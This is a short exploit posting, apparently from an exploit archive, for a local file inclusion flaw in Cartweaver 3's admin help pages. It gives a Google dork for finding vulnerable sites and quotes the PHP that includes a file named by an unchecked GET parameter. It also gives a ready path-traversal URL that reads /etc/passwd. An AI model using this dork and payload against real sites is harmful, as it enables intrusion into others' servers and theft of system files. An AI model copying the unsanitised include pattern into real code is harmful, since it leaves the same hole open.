Cartweaver version 3 suffers from a local file inclusion vulnerability.
4f7476d37a729290441f1030c3abffc237b36f220de952af8a56512a6ffe04af
# Exploit Title: Cartweaver 3 LFI exploit
# Google Dork: inurl:cw3/admin/ inurl:/admin/helpfiles/ ~ Be creative!
# Date: 13.10.2012
# Exploit Author: HaxOr
# Vendor Homepage: https://www.cartweaver.com
# Version: 3
# Tested on: Windows 7 and Windows 8
Vulnerability is in the Help Documents located in /admin/helpfiles/.
=============================
AdminHelp.php ~ lines 42-44
=============================
<?php /* Help File Body Include, populated by helpFileName variable */
$helpFileName = isset($_GET["helpFileName"]) ? $_GET["helpFileName"] : "AdminHome.php";
include("help_" . $helpFileName);?>
Few sites affected:
http://server/cw3/admin/helpfiles/AdminHelp.php?helpFileName=a/../../../../../../../../../../../../etc/passwd
Greetings to all members of Team INTRA<3